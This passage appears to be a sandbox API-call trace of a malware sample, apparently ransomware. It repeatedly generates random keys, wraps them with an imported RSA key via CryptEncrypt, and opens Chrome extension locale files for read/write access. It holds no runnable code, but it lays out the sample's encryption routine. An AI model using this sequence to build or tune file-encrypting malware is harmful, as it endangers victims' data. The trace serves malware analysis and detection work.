dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.771] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.776] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.776] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.776] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.779] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.780] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.783] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.783] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.783] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af878) returned 1 [0241.785] CryptGetKeyParam (in: hKey=0x66af878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.785] CryptEncrypt (in: hKey=0x66af878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xae20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.786] GetLastError () returned 0x0 [0241.786] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.786] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.788] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66affb8) returned 1 [0241.788] CryptGetKeyParam (in: hKey=0x66affb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.788] CryptEncrypt (in: hKey=0x66affb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xae30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.788] GetLastError () returned 0x0 [0241.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.788] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.790] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.797] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.797] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.797] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.808] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.808] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.808] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.808] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.810] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afeb8) returned 1 [0241.810] CryptGetKeyParam (in: hKey=0x66afeb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.810] CryptEncrypt (in: hKey=0x66afeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xae40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.811] GetLastError () returned 0x0 [0241.811] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.811] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.812] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afa38) returned 1 [0241.813] CryptGetKeyParam (in: hKey=0x66afa38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.813] CryptEncrypt (in: hKey=0x66afa38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xae50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.813] GetLastError () returned 0x0 [0241.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.813] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.813] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.818] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.823] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.823] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.823] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.828] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.828] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.828] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.829] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.831] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afff8) returned 1 [0241.831] CryptGetKeyParam (in: hKey=0x66afff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.831] CryptEncrypt (in: hKey=0x66afff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xae60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.831] GetLastError () returned 0x0 [0241.831] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.831] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.833] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afbf8) returned 1 [0241.833] CryptGetKeyParam (in: hKey=0x66afbf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.833] CryptEncrypt (in: hKey=0x66afbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xae70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.833] GetLastError () returned 0x0 [0241.833] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.833] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.835] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.840] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.840] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.840] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.846] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.847] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.847] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.849] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afdf8) returned 1 [0241.849] CryptGetKeyParam (in: hKey=0x66afdf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.849] CryptEncrypt (in: hKey=0x66afdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xae80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.850] GetLastError () returned 0x0 [0241.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.850] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.851] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afef8) returned 1 [0241.851] CryptGetKeyParam (in: hKey=0x66afef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.851] CryptEncrypt (in: hKey=0x66afef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xae90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xae90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.852] GetLastError () returned 0x0 [0241.852] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.852] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.852] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.858] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.858] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.861] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.862] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.863] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.863] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.865] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aff38) returned 1 [0241.865] CryptGetKeyParam (in: hKey=0x66aff38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.865] CryptEncrypt (in: hKey=0x66aff38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaea0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaea0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.865] GetLastError () returned 0x0 [0241.865] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.865] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.867] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afdb8) returned 1 [0241.867] CryptGetKeyParam (in: hKey=0x66afdb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.867] CryptEncrypt (in: hKey=0x66afdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaeb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaeb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.867] GetLastError () returned 0x0 [0241.867] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.867] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.869] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.874] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.874] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.876] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.879] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.879] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.879] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.882] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afd38) returned 1 [0241.882] CryptGetKeyParam (in: hKey=0x66afd38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.882] CryptEncrypt (in: hKey=0x66afd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaec0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaec0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.882] GetLastError () returned 0x0 [0241.882] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.882] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.884] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afab8) returned 1 [0241.884] CryptGetKeyParam (in: hKey=0x66afab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.884] CryptEncrypt (in: hKey=0x66afab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaed0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaed0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.884] GetLastError () returned 0x0 [0241.884] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.884] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.885] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.890] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.890] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.890] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.890] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.895] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.895] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.895] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.900] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afcf8) returned 1 [0241.900] CryptGetKeyParam (in: hKey=0x66afcf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.900] CryptEncrypt (in: hKey=0x66afcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaee0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaee0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.900] GetLastError () returned 0x0 [0241.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.900] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.902] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aff78) returned 1 [0241.902] CryptGetKeyParam (in: hKey=0x66aff78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.902] CryptEncrypt (in: hKey=0x66aff78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaef0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaef0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.902] GetLastError () returned 0x0 [0241.902] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.902] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.904] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.907] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.911] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, 